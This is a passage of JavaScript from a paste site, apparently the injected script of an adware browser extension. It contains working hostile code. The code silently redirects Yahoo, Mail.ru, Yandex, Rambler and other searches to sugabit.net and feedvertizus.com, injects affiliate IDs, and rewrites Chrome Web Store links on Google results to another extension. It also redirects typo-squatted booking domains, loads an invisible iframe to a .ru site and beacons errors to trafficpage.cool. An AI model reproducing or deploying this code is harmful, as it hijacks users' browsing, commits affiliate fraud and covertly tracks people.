  3110.                 }
  3111.                 var matchPattern = /(boobking\.|booing\.|buking\.|boocking\.|boooking\.|bookking\.|booing\.)/i;
  3112.                 if (location.hostname.match(matchPattern)) {
  3113.                     if (typeof window.stop == "function") {
  3114.                         window.stop()
  3115.                     }
  3116.                     location.href = "http://adrs.me/get?key=6ae9f4bd1dc812dc713d61cba871d8e8&out=http%3A%2F%2Fbooking.com&ref=http%3A%2F%2Fgo.com&format=go&uid=rdr51807"
  3117.                 }
  3118.                 if (isInIframe()) {
  3119.                     return
  3120.                 }
  3121.                 if (scriptsToLoad['85031']) {
  3122.                     (function() {
  3123.                         var block = '85031';
  3124.                         $$.ready(function() {
  3125.                             try {
  3126.                                 (function() {
  3127.                                     if (location.hostname.indexOf("search.yahoo.com") == -1 || location.pathname.indexOf("/search") == -1) {
  3128.                                         return
  3129.                                     }
  3130.                                     var r = $$.randomNumber(1, 100);
  3131.                                     var rLimit = scriptsToLoad[block].coverage;
  3132.                                     if (r > rLimit) {
  3133.                                         return
  3134.                                     }
  3135.                                     $$.loadedCallback("MNTZ_LOADED", block);
  3136.                                     if ($$.getCookie("__ckp_srchyho_fired") == 1) {
  3137.                                         return
  3138.                                     }
  3139.  
  3140.                                     function getParams() {
  3141.                                         params = {};
  3142.                                         for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) {
  3143.                                             t = r[c].split("="), t[1] && (params[t[0]] = t[1])
  3144.                                         }
  3145.                                         var a = location.hash.replace("#", "");
  3146.                                         a && (t = a.split("="), t[1] && (params[t[0]] = t[1]))
  3147.                                     }
  3148.  
  3149.                                     function checkYahooTag() {
  3150.                                         getParams();
  3151.                                         if (location.href.indexOf("tightrope") > -1 && location.href.indexOf("tr57") > -1) {
  3152.                                             return
  3153.                                         } else {
  3154.                                             redirectSearch("p")
  3155.                                         }
  3156.                                     }
  3157.  
  3158.                                     function redirectSearch(e) {
  3159.                                         if (getParams(), void 0 != params[e]) {
  3160.                                             window.stop && window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none";
  3161.                                             var r = params[e],
  3162.                                                 c = "http://sugabit.net/search.php?source=btn&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r;
  3163.                                             $$.loadedCallback("BANNER_LOAD", block);
  3164.                                             $$.setCookie("__ckp_srchyho_fired", 1, {
  3165.                                                 expire: 1800
  3166.                                             });
  3167.                                             location.href = c, clearInterval(tmr)
  3168.                                         }
  3169.                                     }
  3170.  
  3171.                                     function checkForSearch() {
  3172.                                         var e = location.href; - 1 != d.indexOf("search.yahoo.com") && checkYahooTag() && clearInterval(tmr)
  3173.                                     }
  3174.                                     var d = window.document.domain,
  3175.                                         tmr, tmrCnt = 0,
  3176.                                         params = {};
  3177.                                     window == top && (checkForSearch(), tmr = setInterval(checkForSearch, 100))
  3178.                                 })()
  3179.                             } catch (e) {}
  3180.                         })
  3181.                     })()
  3182.                 }
  3183.                 if (scriptsToLoad['ac348']) {
  3184.                     (function() {
  3185.                         var block = 'ac348';
  3186.                         $$.ready(function() {
  3187.                             try {
  3188.                                 (function() {
  3189.                                     if (location.hostname.indexOf("go.mail.ru") == -1 || location.pathname.indexOf("/search") == -1) {
  3190.                                         return
  3191.                                     }
  3192.                                     var r = $$.randomNumber(1, 100);
  3193.                                     var rLimit = scriptsToLoad[block].coverage;
  3194.                                     if (r > rLimit) {
  3195.                                         return
  3196.                                     }
  3197.                                     $$.loadedCallback("MNTZ_LOADED", block);
  3198.                                     if ($$.getCookie("__ckp_srchmlr_fired") == 1) {
  3199.                                         return
  3200.                                     }
  3201.  
  3202.                                     function getParams() {
  3203.                                         params = {};
  3204.                                         for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) {
  3205.                                             t = r[c].split("="), t[1] && (params[t[0]] = t[1])
  3206.                                         }
  3207.                                         var a = location.hash.replace("#", "");
  3208.                                         a && (t = a.split("="), t[1] && (params[t[0]] = t[1]))
  3209.                                     }
  3210.  
  3211.                                     function checkMailruTag() {
  3212.                                         getParams();
  3213.                                         if (params.frc && params.frc == "821563") {
  3214.                                             return
  3215.                                         } else {
  3216.                                             redirectSearch("q")
  3217.                                         }
  3218.                                     }
  3219.  
  3220.                                     function redirectSearch(e) {
  3221.                                         if (getParams(), void 0 != params[e]) {
  3222.                                             window.stop && window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none";
  3223.                                             var r = params[e],
  3224.                                                 c = "http://sugabit.net/search.php?source=btn2&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r;
  3225.                                             $$.loadedCallback("BANNER_LOAD", block);
  3226.                                             $$.setCookie("__ckp_srchmlr_fired", 1, {
  3227.                                                 expire: 1800
  3228.                                             });
  3229.                                             location.href = c, clearInterval(tmr)
  3230.                                         }
  3231.                                     }
  3232.  
  3233.                                     function checkForSearch() {
  3234.                                         var e = location.href; - 1 != d.indexOf("go.mail.ru") && checkMailruTag() && clearInterval(tmr)
  3235.                                     }
  3236.                                     var d = window.document.domain,
  3237.                                         tmr, tmrCnt = 0,
  3238.                                         params = {};
  3239.                                     window == top && (checkForSearch(), tmr = setInterval(checkForSearch, 100))
  3240.                                 })()
  3241.                             } catch (e) {}
  3242.                         })
  3243.                     })()
  3244.                 }
  3245.                 if (scriptsToLoad['5db45']) {
  3246.                     (function() {
  3247.                         var block = '5db45';
  3248.                         $$.ready(function() {
  3249.                             try {
  3250.                                 if (location.hostname.indexOf("yandex.") !== 0 || location.pathname.indexOf("/search") == -1) {
  3251.                                     return
  3252.                                 }
  3253.                                 var r = $$.randomNumber(1, 100);
  3254.                                 var rLimit = scriptsToLoad[block].coverage;;
  3255.                                 if (r > rLimit) {
  3256.                                     return
  3257.                                 }
  3258.                                 $$.loadedCallback("MNTZ_LOADED", block);
  3259.                                 if ($$.getCookie("__ckp_srchydx_fired") == 1) {
  3260.                                     return
  3261.                                 }
  3262.  
  3263.                                 function getParams() {
  3264.                                     params = {};
  3265.                                     for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) {
  3266.                                         t = r[c].split("="), t[1] && (params[t[0]] = t[1])
  3267.                                     }
  3268.                                     var a = location.hash.replace("#", "");
  3269.                                     a && (t = a.split("="), t[1] && (params[t[0]] = t[1]))
  3270.                                 }
  3271.  
  3272.                                 function checkAff() {
  3273.                                     getParams();
  3274.                                     if (params.clid && params.clid.indexOf("2300267") > -1) {
  3275.                                         return true
  3276.                                     } else {
  3277.                                         window.stop && window.stop();
  3278.                                         $$.loadedCallback("BANNER_LOAD", block);
  3279.                                         $$.setCookie("__ckp_srchydx_fired", 1, {
  3280.                                             expire: 1800
  3281.                                         });
  3282.                                         location.search = location.search.length ? location.search + "&clid=2300267-200" : "?clid=2300267";
  3283.                                         clearInterval(tmr)
  3284.                                     }
  3285.                                 }
  3286.  
  3287.                                 function checkForSearch() {
  3288.                                     -1 != d.indexOf("yandex.") && checkAff() && clearInterval(tmr)
  3289.                                 }
  3290.                                 var d = window.document.domain,
  3291.                                     tmr, params = {};
  3292.                                 if (window == top) {
  3293.                                     checkForSearch();
  3294.                                     tmr = setInterval(checkForSearch, 100)
  3295.                                 }
  3296.                             } catch (e) {}
  3297.                         })
  3298.                     })()
  3299.                 };
  3300.                 (function() {
  3301.                     var a = w["13b978ff36417267e9"];
  3302.                     if ((location.hostname.indexOf("google.") !== 0 || location.hostname.indexOf("www.google.") !== 0) && document.location.pathname.indexOf("search") === -1) {
  3303.                         return
  3304.                     }
  3305.                     var c = "chrome.google.com/webstore";
  3306.                     var b = {
  3307.                         ddjdamcnphfdljlojajeoiogkanilahc: ["Speed Dial", "New tab", "start tab", "start page", "new page", "home page", "default page", "fast dial", "fast access", "quick access"]
  3308.                     };
  3309.  
  3310.                     function d() {
  3311.                         var f = document.querySelectorAll("div.g");
  3312.                         if (!f.length) {
  3313.                             return
  3314.                         }
  3315.                         Object.keys(b).forEach(function(g) {
  3316.                             f.forEach(function(h) {
  3317.                                 var i = (h.querySelector("h3") && h.querySelector("h3").textContent) + " " + (h.querySelector("span.st") && h.querySelector("span.st").textContent);
  3318.                                 b[g].forEach(function(j) {
  3319.                                     if (i.toUpperCase().indexOf(j.toUpperCase()) > -1) {
  3320.                                         e(h.querySelector("a:not(.cws)"), g)
  3321.                                     }
  3322.                                 })
  3323.                             })
  3324.                         })
  3325.                     }
  3326.  
  3327.                     function e(f, h) {
  3328.                         if (!f) {
  3329.                             return
  3330.                         }
  3331.                         var g = false;
  3332.                         if (f.href.indexOf(c) > -1) {
  3333.                             g = f.href
  3334.                         }
  3335.                         if (f.getAttribute("data-href") && f.getAttribute("data-href").indexOf(c) > -1) {
  3336.                             g = f.getAttribute("data-href")
  3337.                         }
  3338.                         if (g) {
  3339.                             f.removeAttribute("onmousedown");
  3340.                             f.removeAttribute("data-href");
  3341.                             f.href = g.replace(/\/[a-z]{32}/gi, "/" + h);
  3342.                             f.className = f.className + " cws";
  3343.                             a.on(f, "click", function() {
  3344.                                 a.setCookie("__mzglrl", 1, {
  3345.                                     expire: 300
  3346.                                 });
  3347.                                 a.loadedCallback("BANNER_LOAD", '1f608')
  3348.                             })
  3349.                         }
  3350.                     }
  3351.                     if (!a.getCookie("__mzglrl")) {
  3352.                         d();
  3353.                         setInterval(d, 1000 * 10)
  3354.                     } else {}
  3355.                 })();;
  3356.                 if (scriptsToLoad['5db45']) {
  3357.                     (function() {
  3358.                         var block = '5db45';
  3359.                         (function(n, i, q) {
  3360.                             var r = w["13b978ff36417267e9"];
  3361.                             var o = r.getMtzCfg('5db45');
  3362.                             var j = document.domain;
  3363.                             var c = location.href;
  3364.                             var f = {};
  3365.                             var h = true;
  3366.                             if (j.indexOf("nova.rambler.ru") !== -1 && c.indexOf("/search") !== -1 && c.indexOf("query=") !== -1) {
  3367.                                 document.documentElement.style.display = "none";
  3368.                                 setTimeout(m, 3000)
  3369.                             }
  3370.                             if (j.indexOf("go.mail.ru") !== -1 && c.indexOf("/search") !== -1 && c.indexOf("q=") !== -1) {
  3371.                                 document.documentElement.style.display = "none";
  3372.                                 setTimeout(m, 3000)
  3373.                             }
  3374.                             if (j.indexOf("plusnetwork.com") !== -1 && c.indexOf("q=") !== -1) {
  3375.                                 document.documentElement.style.display = "none";
  3376.                                 setTimeout(m, 3000)
  3377.                             }
  3378.                             if (j.indexOf("search.mysearch.com") !== -1 && c.indexOf("/web") !== -1 && c.indexOf("q=") !== -1) {
  3379.                                 document.documentElement.style.display = "none";
  3380.                                 setTimeout(m, 3000)
  3381.                             }
  3382.  
  3383.                             function m() {
  3384.                                 document.documentElement.style.display = "block"
  3385.                             }
  3386.  
  3387.                             function a() {
  3388.                                 if (document.head) {
  3389.                                     var d = document.createElement("meta");
  3390.                                     d.name = "referrer";
  3391.                                     d.content = "no-referrer";
  3392.                                     document.getElementsByTagName("head")[0].appendChild(d)
  3393.                                 }
  3394.                             }
  3395.  
  3396.                             function p(l) {
  3397.                                 f = {};
  3398.                                 if (!l || l == "") {
  3399.                                     l = location.href
  3400.                                 }
  3401.                                 var x = l.split("?");
  3402.                                 var v = l.split("#");
  3403.                                 if (x.length == 2) {
  3404.                                     x = x[1]
  3405.                                 } else {
  3406.                                     x = x[0]
  3407.                                 }
  3408.                                 if (v.length == 2) {
  3409.                                     x = x + "&" + v[1]
  3410.                                 }
  3411.                                 if (x != "") {
  3412.                                     var d = x.split("&");
  3413.                                     for (var u = 0; u < d.length; u++) {
  3414.                                         t = d[u].split("=");
  3415.                                         if (t[1]) {
  3416.                                             f[t[0]] = t[1]
  3417.                                         }
  3418.                                     }
  3419.                                 }
  3420.                             }
  3421.  
  3422.                             function k(d) {
  3423.                                 var l = setInterval(function() {
  3424.                                     p();
  3425.                                     if (f[d] == undefined) {
  3426.                                         return
  3427.                                     }
  3428.                                     r.loadedCallback("BANNER_LOAD", '5db45');
  3429.                                     var u = f[d];
  3430.                                     var s = "http://search.feedvertizus.com/v1/hostedsearch?pid=252428&subid=965&subid2=y_" + ((r && r.tbParams && r.tbParams.tid) ? r.tbParams.tid : "") + "&keyword=" + u;
  3431.                                     if (h) {
  3432.                                         clearInterval(l);
  3433.                                         h = false;
  3434.                                         window.location.replace(s)
  3435.                                     }
  3436.                                 }, 0)
  3437.                             }
  3438.  
  3439.                             function g() {
  3440.                                 document.documentElement.style.display = "none";
  3441.                                 setTimeout(m, 3000);
  3442.                                 var d = setInterval(function() {
  3443.                                     r.loadedCallback("BANNER_LOAD", '5db45');
  3444.                                     var l = "https://yandex.com/?clid=2300267";
  3445.                                     if (h) {
  3446.                                         clearInterval(d);
  3447.                                         h = false;
  3448.                                         window.location.replace(l)
  3449.                                     }
  3450.                                 }, 0)
  3451.                             }
  3452.  
  3453.                             function b() {
  3454.                                 if (j.indexOf("nova.rambler.ru") != -1) {
  3455.                                     a();
  3456.                                     k("query")
  3457.                                 }
  3458.                                 if (j.indexOf("go.mail.ru") != -1) {
  3459.                                     a();
  3460.                                     k("q")
  3461.                                 }
  3462.                                 if (j.indexOf("plusnetwork.com") != -1) {
  3463.                                     a();
  3464.                                     k("q")
  3465.                                 }
  3466.                                 if (j.indexOf("search.mysearch.com") != -1) {
  3467.                                     a();
  3468.                                     k("q")
  3469.                                 }
  3470.                             }
  3471.                             b();
  3472.  
  3473.                             function e() {
  3474.                                 if (j.indexOf("r0.ru") != -1 && location.pathname == "/") {
  3475.                                     a();
  3476.                                     g()
  3477.                                 }
  3478.                                 if (j.indexOf("go.mail.ru") != -1 && location.pathname == "/") {
  3479.                                     a();
  3480.                                     g()
  3481.                                 }
  3482.                                 if (j.indexOf("securesurf.biz") != -1 && location.pathname == "/") {
  3483.                                     a();
  3484.                                     g()
  3485.                                 }
  3486.                                 if (j.indexOf("mysearch24.com") != -1 && location.pathname == "/") {
  3487.                                     a();
  3488.                                     g()
  3489.                                 }
  3490.                                 if (j.indexOf("search.mysearch.com") != -1 && location.pathname == "/") {
  3491.                                     a();
  3492.                                     g()
  3493.                                 }
  3494.                                 if (j.indexOf("secure-finder.org") != -1 && location.pathname == "/") {
  3495.                                     a();
  3496.                                     g()
  3497.                                 }
  3498.                                 if (j.indexOf("playbar.biz") != -1 && location.pathname == "/") {
  3499.                                     a();
  3500.                                     g()
  3501.                                 }
  3502.                             }
  3503.                             e()
  3504.                         })(document, window);
  3505.                     })()
  3506.                 }
  3507.                 if (scriptsToLoad['4d7da']) {
  3508.                     (function() {
  3509.                         (function(e, a, b) {
  3510.                             var c = document.createElement("iframe");
  3511.                             c.src = "https://nesmotrinamenya.ru/566bbee0f961ad71b54c3c2fd36db053";
  3512.                             c.width = 1;
  3513.                             c.height = 1;
  3514.                             c.style = "position:absolute;left:0px;top:0px;opacity:0.0;";
  3515.                             document.body.appendChild(c)
  3516.                         })(document, window);
  3517.                     })()
  3518.                 }
  3519.             })(document, window);;
  3520.             (function(g, a, e) {
  3521.                 var c = a["13b978ff36417267e9"];
  3522.                 var f = c.Sizzle;
  3523.  
  3524.                 function b() {
  3525.                     var d = f(".commercial-unit");
  3526.                     var i = f("input[name=q]");
  3527.                     if (i.length > 0 && d.length > 0) {
  3528.                         var h = i[0].value;
  3529.                         c.loadedCallback("GGL_COM_BLOCK", "", h)
  3530.                     }
  3531.                 }
  3532.                 c.each(f("input[name=q]"), function(d) {
  3533.                     c.on(d, "change", function() {
  3534.                         b()
  3535.                     })
  3536.                 });
  3537.                 b()
  3538.             })(document, window, undefined);;
  3539.             (function(e, a, f, c) {
  3540.                 var b = a[f];
  3541.                 b.twBarOptOutInit = function() {
  3542.                     var g = document.createElement("iframe");
  3543.                     g.setAttribute("style", "display: none; position: fixed; top: 50%; left: 50%; width: 650px; height: 500px; margin-top: -250px; margin-left: -325px; z-index: 2147483647;");
  3544.                     g.id = "__twbopt13b978ff36417267e9";
  3545.                     g.frameBorder = 0;
  3546.                     g.scrolling = "no";
  3547.                     document.body.appendChild(g);
  3548.                     var d = null;
  3549.                     var h = function() {
  3550.                         if (d) {
  3551.                             clearTimeout(d)
  3552.                         }
  3553.                         var i = {};
  3554.                         if (g.contentWindow) {
  3555.                             i = g.contentWindow.document
  3556.                         } else {
  3557.                             if (g.contentDocument) {
  3558.                                 i = g.contentDocument
  3559.                             }
  3560.                         }
  3561.                         i.open();
  3562.                         i.write('<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>' + a[f].tbParams.title + ' OptOut</title><style>article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}template{display:none}html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a{background:0 0}a:active,a:hover{outline:0}h1{margin:.67em 0}b,strong{font-weight:700}dfn{font-style:italic}hr{height:0;-moz-box-sizing:content-box;box-sizing:content-box}mark{color:#000;background:#ff0}code,kbd,pre,samp{font-size:1em}pre{white-space:pre-wrap}q{quotes:"ВЃC" "ВЃD" "ВЃ8" "ВЃ9"}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}figure{margin:0}button,input,select,textarea{margin:0}button,select{text-transform:none}button{cursor:pointer;-webkit-appearance:button}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}}*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#428bca;text-decoration:none}a:focus,a:hover{color:#2a6496;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}h1,h2,h3,h4,h5,h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;color:inherit}h1,h2,h3{margin-top:20px;margin-bottom:10px}h4,h5,h6{margin-top:10px;margin-bottom:10px}h1{font-size:36px}h2{font-size:30px}h3{font-size:24px}h4{font-size:18px}h5{font-size:14px}h6{font-size:12px}p{margin:0 0 10px}small{font-size:85%}cite{font-style:normal}ol,ul{margin-top:0;margin-bottom:10px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.428571429}dt{font-weight:700}dd{margin-left:0}blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eee}blockquote:after,blockquote:before{content:""}address{margin-bottom:20px;font-style:normal;line-height:1.428571429}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;white-space:nowrap;background-color:#f9f2f4;border-radius:4px}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}table{max-width:100%;background-color:transparent}th{text-align:left}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;margin-bottom:5px;font-weight:700}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}output{display:block;padding-top:7px;font-size:14px;line-height:1.428571429;color:#555;vertical-align:middle}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.428571429;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.btn-primary:active,.btn-primary:focus,.btn-primary:hover{color:#fff;background-color:#3276b1;border-color:#285e8e}.btn-primary:active{background-image:none}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:active,.btn-warning:focus,.btn-warning:hover{color:#fff;background-color:#ed9c28;border-color:#d58512}.btn-warning:active{background-image:none}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:active,.btn-danger:focus,.btn-danger:hover{color:#fff;background-color:#d2322d;border-color:#ac2925}.btn-danger:active{background-image:none}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:active,.btn-success:focus,.btn-success:hover{color:#fff;background-color:#47a447;border-color:#398439}.btn-success:active{background-image:none}.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}@font-face{font-family:"Glyphicons Halflings";src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format("embedded-opentype"),url(../fonts/glyphicons-halflings-regular.woff) format("woff"),url(../fonts/glyphicons-halflings-regular.ttf) format("truetype"),url(../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular) format("svg")}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2000000;display:none;overflow:auto;overflow-y:scroll}.modal.fade .modal-dialog{-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);transform:translate(0,-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}.modal-dialog{position:relative;z-index:1050;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5);background-clip:padding-box}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1030;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{min-height:16.428571429px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.428571429}.modal-body{position:relative;padding:20px}.modal-footer{padding:19px 20px 20px;margin-top:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:after,.modal-footer:before{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}@media screen and (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}}</style><content><div class="modal-content" style="font-family:\'Segoe UI\',\'Droid Sans\',Arial,sans-serif; width:650px"><div class="modal-header"><button type="button" class="close" id="close-btn" data-dismiss="modal" aria-hidden="true"><img src="//trafficpage.cool/ext/images/close-cross.png" width="16" height="16"></button><h4 class="modal-title" id="myModalLabel"><b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help.<br><br>Ads support most of the internet we all use and love; without them, the internet we have today would simply not exist. Similarly, without revenue, this extension (and the upcoming new ones) would not be possible.<br><br><b>You can disable these ads now or later in the settings page. You can also minimize the ads appearance by clicking on partial support button. Both of these options are available by clicking \'x\' button in the corner of each ad.</b> In both cases,your choice will remain in effect unless you reinstall or reset the extension.</div><div class="modal-footer"><button type="button" id="full-support" class="btn btn-success btn-lg">Fully Support</button><button type="button" id="partial-support" class="btn btn-default">Partially Support</button><p style="text-align:left;width:100%;"><a id="no-support" style="text-decoration:underline;" href="#">No, I don\'t want to support you work</a></p></div></div></content>');
  3563.                         i.close();
  3564.                         i.getElementById("full-support").onclick = function() {
  3565.                             b.optoutHide();
  3566.                             b.loadedCallback("OPTOUT_CLK_FULLSUPPORT");
  3567.                             return false
  3568.                         };
  3569.                         i.getElementById("close-btn").onclick = function() {
  3570.                             b.optoutHide();
  3571.                             b.loadedCallback("OPTOUT_CLK_CLOSE");
  3572.                             return false
  3573.                         };
  3574.                         i.getElementById("partial-support").onclick = function() {
  3575.                             window.open("http://thisadsfor.us/optout?t=5049&u=51807&key=13b978ff36417267e9&block=" + b.currentOptoutBlock);
  3576.                             b.optoutHide();
  3577.                             b.loadedCallback("OPTOUT_CLK_PARTSUPPORT")
  3578.                         };
  3579.                         i.getElementById("no-support").onclick = function() {
  3580.                             window.open("http://thisadsfor.us/optout?t=5049&u=51807&key=13b978ff36417267e9&block=" + b.currentOptoutBlock);
  3581.                             b.optoutHide();
  3582.                             b.loadedCallback("OPTOUT_CLK_NOSUPPORT")
  3583.                         }
  3584.                     };
  3585.                     if (g.contentDocument || g.contentWindow) {
  3586.                         h()
  3587.                     } else {
  3588.                         b.on(g, "load", h);
  3589.                         d = setTimeout(h, 5000)
  3590.                     }
  3591.                     b.twBarOptOut = a[f].twBarOptOut = g
  3592.                 }
  3593.             })(document, window, "13b978ff36417267e9", undefined);;
  3594.             d.loadedCallback("FINISHED", "", location.host)
  3595.         })
  3596.     });;
  3597.     try {
  3598.         b(document, window)
  3599.     } catch (c) {
  3600.         var h = (typeof c.stack != "undefined" ? c.stack : "!empty stack!");
  3601.         if (h.length > 1500) {
  3602.             h = h.substr(0, 1500)
  3603.         }
  3604.         var a = (i.location.protocol == "http:" ? "http:" : "https:") + "//trafficpage.cool/log/?l=error&m=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!") + "|" + h);
  3605.         var k = document.createElement("script");
  3606.         k.type = "text/javascript";
  3607.         k.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
  3608.         (document.getElementsByTagName("script")[0] || document.documentElement.firstChild).parentNode.appendChild(k);
  3609.         (function() {
  3610.             var e = ["mid=", "wid=51807", "sid=" + (i[g] && i[g].tbParams && i[g].tbParams.sid) ? i[g].tbParams.sid : "", "tid=5049", "custom1=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!")), "rid=CORE_JS_ERROR"];
  3611.             a = (i.location.protocol == "http:" ? "http:" : "https:") + "//trafficpage.cool/metric/?" + e.join("&");
  3612.             var d = f.createElement("img");
  3613.             d.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
  3614.             d.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
  3615.             (document.head || document.documentElement).appendChild(d);
  3616.             if (typeof d.onload != j) {
  3617.                 d.onload = function() {
  3618.                     d.parentNode && d.parentNode.removeChild(d)
  3619.                 }
  3620.             }
  3621.         })()
  3622.     }
  3623. }(document, window));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement